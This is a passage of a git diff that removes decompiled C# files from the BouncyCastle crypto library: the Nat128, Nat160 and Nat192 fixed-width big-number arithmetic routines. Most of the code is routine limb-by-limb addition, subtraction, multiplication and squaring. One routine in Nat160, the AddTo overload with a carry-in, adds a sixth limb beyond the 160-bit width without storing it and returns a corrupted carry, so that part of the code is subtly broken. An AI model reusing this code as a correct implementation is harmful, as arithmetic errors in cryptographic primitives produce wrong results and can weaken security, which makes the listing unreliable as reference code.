num11 = (uint)num13; - zz[zzOff + 3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num17 += num16 >> 32; - num11 = (uint)num14; - zz[zzOff + 4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num16; - zz[zzOff + 5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num17; - zz[zzOff + 6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[zzOff + 7] + (uint)(int)(num17 >> 32); - zz[zzOff + 7] = (num11 << 1) | num2; - } - - public static int Sub(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)x[0] - (long)y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)x[1] - (long)y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)x[2] - (long)y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)x[3] - (long)y[3]; - z[3] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int Sub(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)x[xOff] - (long)y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)x[xOff + 1] - (long)y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)x[xOff + 2] - (long)y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)x[xOff + 3] - (long)y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubBothFrom(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0] - y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1] - y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2] - y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3] - y[3]; - z[3] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3]; - z[3] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)z[zOff] - (long)x[xOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - (long)x[xOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)z[zOff + 2] - (long)x[xOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)z[zOff + 3] - (long)x[xOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - return (int)num; - } - - public static BigInteger ToBigInteger(uint[] x) - { - byte[] array = new byte[16]; - for (int i = 0; i < 4; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, 3 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[16]; - for (int i = 0; i < 2; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 1 - i << 3); - } - } - return new BigInteger(1, array); - } - - public static void Zero(uint[] z) - { - z[0] = 0u; - z[1] = 0u; - z[2] = 0u; - z[3] = 0u; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat160.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat160.cs deleted file mode 100644 index 20a9b4b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat160.cs +++ /dev/null @@ -1,868 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat160 -{ - private const ulong M = 4294967295uL; - - public static uint Add(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4]); - z[4] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0] + z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1] + z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2] + z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3] + z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4] + z[4]); - z[4] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)z[4]); - z[4] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, int xOff, uint[] z, int zOff, uint cIn) - { - ulong num = cIn; - num += (ulong)((long)x[xOff] + (long)z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)z[zOff + 5]); - return (uint)num; - } - - public static uint AddToEachOther(uint[] u, int uOff, uint[] v, int vOff) - { - ulong num = 0uL; - num += (ulong)((long)u[uOff] + (long)v[vOff]); - u[uOff] = (uint)num; - v[vOff] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 1] + (long)v[vOff + 1]); - u[uOff + 1] = (uint)num; - v[vOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 2] + (long)v[vOff + 2]); - u[uOff + 2] = (uint)num; - v[vOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 3] + (long)v[vOff + 3]); - u[uOff + 3] = (uint)num; - v[vOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 4] + (long)v[vOff + 4]); - u[uOff + 4] = (uint)num; - v[vOff + 4] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static void Copy(uint[] x, uint[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - } - - public static uint[] Create() - { - return new uint[5]; - } - - public static uint[] CreateExt() - { - return new uint[10]; - } - - public static bool Diff(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - bool flag = Gte(x, xOff, y, yOff); - if (flag) - { - Sub(x, xOff, y, yOff, z, zOff); - } - else - { - Sub(y, yOff, x, xOff, z, zOff); - } - return flag; - } - - public static bool Eq(uint[] x, uint[] y) - { - for (int num = 4; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 160) - { - throw new ArgumentException(); - } - uint[] array = Create(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - int num = bit >> 5; - if (num < 0 || num >= 5) - { - return 0u; - } - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(uint[] x, uint[] y) - { - for (int num = 4; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool Gte(uint[] x, int xOff, uint[] y, int yOff) - { - for (int num = 4; num >= 0; num--) - { - uint num2 = x[xOff + num]; - uint num3 = y[yOff + num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool IsOne(uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 5; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(uint[] x) - { - for (int i = 0; i < 5; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = 0uL; - ulong num7 = x[0]; - num6 += num7 * num; - zz[0] = (uint)num6; - num6 >>= 32; - num6 += num7 * num2; - zz[1] = (uint)num6; - num6 >>= 32; - num6 += num7 * num3; - zz[2] = (uint)num6; - num6 >>= 32; - num6 += num7 * num4; - zz[3] = (uint)num6; - num6 >>= 32; - num6 += num7 * num5; - zz[4] = (uint)num6; - num6 >>= 32; - zz[5] = (uint)num6; - for (int i = 1; i < 5; i++) - { - ulong num8 = 0uL; - ulong num9 = x[i]; - num8 += num9 * num + zz[i]; - zz[i] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num8; - num8 >>= 32; - zz[i + 5] = (uint)num8; - } - } - - public static void Mul(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = 0uL; - ulong num7 = x[xOff]; - num6 += num7 * num; - zz[zzOff] = (uint)num6; - num6 >>= 32; - num6 += num7 * num2; - zz[zzOff + 1] = (uint)num6; - num6 >>= 32; - num6 += num7 * num3; - zz[zzOff + 2] = (uint)num6; - num6 >>= 32; - num6 += num7 * num4; - zz[zzOff + 3] = (uint)num6; - num6 >>= 32; - num6 += num7 * num5; - zz[zzOff + 4] = (uint)num6; - num6 >>= 32; - zz[zzOff + 5] = (uint)num6; - for (int i = 1; i < 5; i++) - { - zzOff++; - ulong num8 = 0uL; - ulong num9 = x[xOff + i]; - num8 += num9 * num + zz[zzOff]; - zz[zzOff] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num8; - num8 >>= 32; - zz[zzOff + 5] = (uint)num8; - } - } - - public static uint MulAddTo(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = 0uL; - for (int i = 0; i < 5; i++) - { - ulong num7 = 0uL; - ulong num8 = x[i]; - num7 += num8 * num + zz[i]; - zz[i] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num7; - num7 >>= 32; - num7 += num8 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num7; - num7 >>= 32; - num7 += num6 + zz[i + 5]; - zz[i + 5] = (uint)num7; - num6 = num7 >> 32; - } - return (uint)num6; - } - - public static uint MulAddTo(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = 0uL; - for (int i = 0; i < 5; i++) - { - ulong num7 = 0uL; - ulong num8 = x[xOff + i]; - num7 += num8 * num + zz[zzOff]; - zz[zzOff] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num7; - num7 >>= 32; - num7 += num8 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num7; - num7 >>= 32; - num7 += num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num7; - num6 = num7 >> 32; - zzOff++; - } - return (uint)num6; - } - - public static ulong Mul33Add(uint w, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = w; - ulong num3 = x[xOff]; - num += num2 * num3 + y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = x[xOff + 1]; - num += num2 * num4 + num3 + y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - ulong num5 = x[xOff + 2]; - num += num2 * num5 + num4 + y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - ulong num6 = x[xOff + 3]; - num += num2 * num6 + num5 + y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - ulong num7 = x[xOff + 4]; - num += num2 * num7 + num6 + y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - return num + num7; - } - - public static uint MulWordAddExt(uint x, uint[] yy, int yyOff, uint[] zz, int zzOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * yy[yyOff] + zz[zzOff]; - zz[zzOff] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 1] + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 2] + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 3] + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 4] + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33DWordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y & 0xFFFFFFFFu; - num += num2 * num3 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = y >> 32; - num += num2 * num4 + num3 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num4 + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(5, z, zOff, 4); - } - return 0u; - } - - public static uint Mul33WordAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = y; - num += num2 * x + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(5, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordDwordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(5, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordsAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y; - num += num3 * num2 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(5, z, zOff, 2); - } - return 0u; - } - - public static uint MulWord(uint x, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < 5); - return (uint)num; - } - - public static void Square(uint[] x, uint[] zz) - { - ulong num = x[0]; - uint num2 = 0u; - int num3 = 4; - int num4 = 10; - do - { - ulong num5 = x[num3--]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[0] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[1]; - ulong num10 = zz[2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[2]; - ulong num13 = zz[3]; - ulong num14 = zz[4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[3]; - ulong num16 = zz[5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[4]; - ulong num19 = zz[7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num19 += (num17 >> 32) + num18 * num15; - num20 += num19 >> 32; - num11 = (uint)num16; - zz[5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num17; - zz[6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num19; - zz[7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[9] + (uint)(int)(num20 >> 32); - zz[9] = (num11 << 1) | num2; - } - - public static void Square(uint[] x, int xOff, uint[] zz, int zzOff) - { - ulong num = x[xOff]; - uint num2 = 0u; - int num3 = 4; - int num4 = 10; - do - { - ulong num5 = x[xOff + num3--]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[zzOff] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[xOff + 1]; - ulong num10 = zz[zzOff + 2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[zzOff + 1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[xOff + 2]; - ulong num13 = zz[zzOff + 3]; - ulong num14 = zz[zzOff + 4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[zzOff + 2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[xOff + 3]; - ulong num16 = zz[zzOff + 5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[zzOff + 6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[zzOff + 3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[xOff + 4]; - ulong num19 = zz[zzOff + 7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[zzOff + 8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[zzOff + 4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num19 += (num17 >> 32) + num18 * num15; - num20 += num19 >> 32; - num11 = (uint)num16; - zz[zzOff + 5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num17; - zz[zzOff + 6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num19; - zz[zzOff + 7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[zzOff + 8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[zzOff + 9] + (uint)(int)(num20 >> 32); - zz[zzOff + 9] = (num11 << 1) | num2; - } - - public static int Sub(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)x[0] - (long)y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)x[1] - (long)y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)x[2] - (long)y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)x[3] - (long)y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)x[4] - (long)y[4]; - z[4] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int Sub(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)x[xOff] - (long)y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)x[xOff + 1] - (long)y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)x[xOff + 2] - (long)y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)x[xOff + 3] - (long)y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)x[xOff + 4] - (long)y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubBothFrom(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0] - y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1] - y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2] - y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3] - y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4] - y[4]; - z[4] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4]; - z[4] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)z[zOff] - (long)x[xOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - (long)x[xOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)z[zOff + 2] - (long)x[xOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)z[zOff + 3] - (long)x[xOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)z[zOff + 4] - (long)x[xOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - return (int)num; - } - - public static BigInteger ToBigInteger(uint[] x) - { - byte[] array = new byte[20]; - for (int i = 0; i < 5; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, 4 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static void Zero(uint[] z) - { - z[0] = 0u; - z[1] = 0u; - z[2] = 0u; - z[3] = 0u; - z[4] = 0u; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat192.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat192.cs deleted file mode 100644 index 982c06e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat192.cs +++ /dev/null @@ -1,1046 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat192 -{ - private const ulong M = 4294967295uL; - - public static uint Add(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5]); - z[5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0] + z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1] + z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2] + z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3] + z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4] + z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5] + z[5]); - z[5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)z[5]); - z[5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, int xOff, uint[] z, int zOff, uint cIn) - { - ulong num = cIn; - num += (ulong)((long)x[xOff] + (long)z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)z[zOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddToEachOther(uint[] u, int uOff, uint[] v, int vOff) - { - ulong num = 0uL; - num += (ulong)((long)u[uOff] + (long)v[vOff]); - u[uOff] = (uint)num; - v[vOff] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 1] + (long)v[vOff + 1]); - u[uOff + 1] = (uint)num; - v[vOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 2] + 